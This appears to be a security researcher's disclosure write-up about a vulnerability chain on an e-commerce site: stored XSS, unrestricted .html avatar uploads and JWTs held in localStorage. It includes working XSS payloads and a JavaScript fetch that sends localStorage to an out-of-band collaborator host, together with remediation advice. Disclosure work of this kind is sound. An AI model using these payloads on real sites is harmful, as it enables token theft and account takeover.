A Deep Dive into Chaining Multiple Vulnerabilities for Critical Impact
Executive Summary
During a routine security assessment of a Nepal-based e-commerce platform, I discovered a critical vulnerability chain that allows an attacker to achieve full account takeover through the combination of:
1. Stored Cross-Site Scripting (XSS)— Profile name field reflects unsanitized HTML 2. Arbitrary File Upload — Server accepts and serves `.html` files as avatars 3. Sensitive Data Exfiltration — JWT authentication tokens stored in `localStorage` are extracted via XSS
The attack requires no user interaction beyond viewing a malicious profile or accessing an uploaded file, making this a stored XSS vulnerability with widespread impact potential.
Vulnerability Chain
``` Attacker uploads malicious profile ↓ Server stores XSS payload + .html file ↓ Victim views profile OR accesses uploaded file ↓ JavaScript executes in victim's browser ↓ localStorage data (JWT tokens) exfiltrated to attacker server ↓ Attacker impersonates victim using stolen JWT ```
Technical Analysis
Finding 1: Stored XSS via Profile Name Field (CWE-79)
Severity: High Description:The user profile update endpoint `/api/v1/user/info/update` accepts HTML content in the `name` field and reflects it without sanitization in the JSON response. When this data is rendered in the application's DOM, it executes as HTML/JavaScript.
Vulnerable Request:
```
http POST /api/v1/user/info/update HTTP/1.1 Host: [REDACTED-DOMAIN].com Content-Type: multipart/form-data; boundary= — — geckoformboundary… Authorization: Bearer eyJ0eXAiOiJKV1Qi…
— — — geckoformboundary… Content-Disposition: form-data; name="name"
"><h1>Test</h1> ```
Vulnerable Response:
```json { "success": true, "message": "Profile information has been updated successfully", "user": { "id": 1622, "name": ""><h1>Test<\/h1>", … } } ```
The server returns the payload with JSON-escaped forward slashes (`\/`), but the actual stored value contains raw HTML that breaks out of attribute contexts when rendered.
Finding 2: Arbitrary File Upload (CWE-434)
Severity: Critical Description: The avatar upload functionality accepts files with `.html` extension and `text/html` content-type. These files are stored in a publicly accessible directory (`/public/uploads/all/`) and served directly by the web server.
Malicious Upload:
```http Content-Disposition: form-data; name="avatar"; filename="xss.html" Content-Type: text/html
<script>alert("XSS")</script> ```
Stored File URL: ``` https://[REDACTED-DOMAIN].com/public/uploads/all/[HASH].html ```
When accessed directly, this file executes JavaScript in the context of the origin domain, giving it full access to: - Cookies (if not HttpOnly) - localStorage data - Session tokens - Ability to perform actions as the logged-in user
Finding 3: JWT Token Exposure in localStorage (CWE-532)
Severity: High Description: The application stores the JWT `shopAccessToken` in `localStorage` rather than in `httpOnly`, `Secure`, `SameSite=Strict` cookies. This makes the token accessible to any JavaScript running on the origin — including injected XSS payloads.
Exfiltrated Data via OAST:
```json { "lastExternalReferrerTime": "1779432340185", "shopCacheVersion": "zefa3eftafu3zrkuitxpswx3oldhxh", "lastExternalReferrer": "empty", "shopRecentlyViewed": "[2263]", "shopAccessToken": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9…" } ```
The token has a 3-year expiration and no scope restrictions, making it extremely valuable for long-term account compromise.
Proof of Concept
Step 1: Upload Malicious Payload
Using Burp Suite Repeater, I modified the profile update request to include:
1. XSS payload in name field: `"><h1>Test</h1>` 2. Malicious HTML file as avatar: `xss.html` containing `<script>alert("XSS")</script>` 3. Data URI preview: Base64-encoded script for immediate execution
Step 2: Confirm File Upload
The server responded with HTTP 200 OK and confirmed the file was stored at: ``` https://[REDACTED-DOMAIN].com/public/uploads/all/[HASH].html ```
Step 3: Verify XSS Execution
Accessing the uploaded file directly triggered the JavaScript alert:
Step 4: Exfiltrate Sensitive Data
The advanced payload exfiltrated the victim's `localStorage` to an OAST (Out-of-Band Application Security Testing) server:
```javascript <script> fetch('https://bixm1vf68e1hmjo0x91d1ddyhpngb8zx.oastify.com', { method: 'POST', mode: 'no-cors', body: JSON.stringify(localStorage) }); </script> ```
Step 5: Account Takeover
With the exfiltrated JWT token, an attacker can: - Impersonate user 1622 indefinitely (until token expiry in 2027) - Access all user data and order history - Make purchases using stored payment methods - Pivot to admin accounts if they view the malicious profile
Impact Assessment
CVSS 3.1 Score: 8.1 (High)
Business Impact
Remediation Recommendations
Immediate Actions (Critical)
1. Invalidate all active JWT tokens for affected users and force password resets 2. Remove malicious uploaded files from `/public/uploads/all/` 3. Implement input sanitization on the `name` field — HTML-encode all output (`<` → `<`, `>` → `>`) 4. Restrict file uploads to safe image formats only (JPG, PNG, WebP) 5. Validate file content using magic bytes, not just extension/MIME type
Short-term Fixes (High Priority)
1. Move JWT storage from `localStorage` to `httpOnly`, `Secure`, `SameSite=Strict` cookies 2. Implement Content Security Policy (CSP) with strict `script-src` directives 3. Add security headers: — `X-Content-Type-Options: nosniff` — `X-Frame-Options: DENY` — `Content-Security-Policy: default-src 'self'` 4. Implement rate limiting on profile update endpoints
Long-term Improvements
1. Content Security Policy (CSP) with nonce-based script execution 2. Subresource Integrity (SRI) for all external scripts 3. Regular security audits and bug bounty program 4. Security awareness training for development team
Tools Used
- Burp Suite Professional — HTTP interception, repeater, and collaborator - Firefox — Browser testing and payload execution - Interactsh / OAST— Out-of-band data exfiltration detection - JWT.io — Token decoding and analysis
Conclusion
This vulnerability chain demonstrates how seemingly minor issues — an unsanitized profile field and permissive file upload — can combine into a critical security flaw enabling full account takeover. The attack is:
- Stored — persists indefinitely until removed - Wormable — can spread if users view attacker profiles - High-impact — complete authentication bypass via JWT theft
Acknowledgments
- Thanks to the Interactsh team for the excellent OAST platform - Burp Suite for the indispensable testing toolkit - The security community for responsible disclosure practices
Disclaimer: This research was conducted with authorization and in accordance with responsible disclosure practices. No customer data was accessed or harmed during testing. All testing was performed on a controlled account (ID: 1622) with explicit consent.
If you're a security researcher or developer, I hope this write-up helps you understand the real-world impact of XSS and file upload vulnerabilities. Always sanitize user input, validate file uploads, and store authentication tokens securely.
#CyberSecurity #BugBounty #ResponsibleDisclosure #XSS #FileUpload #JWT #WebSecurity #NepalTech**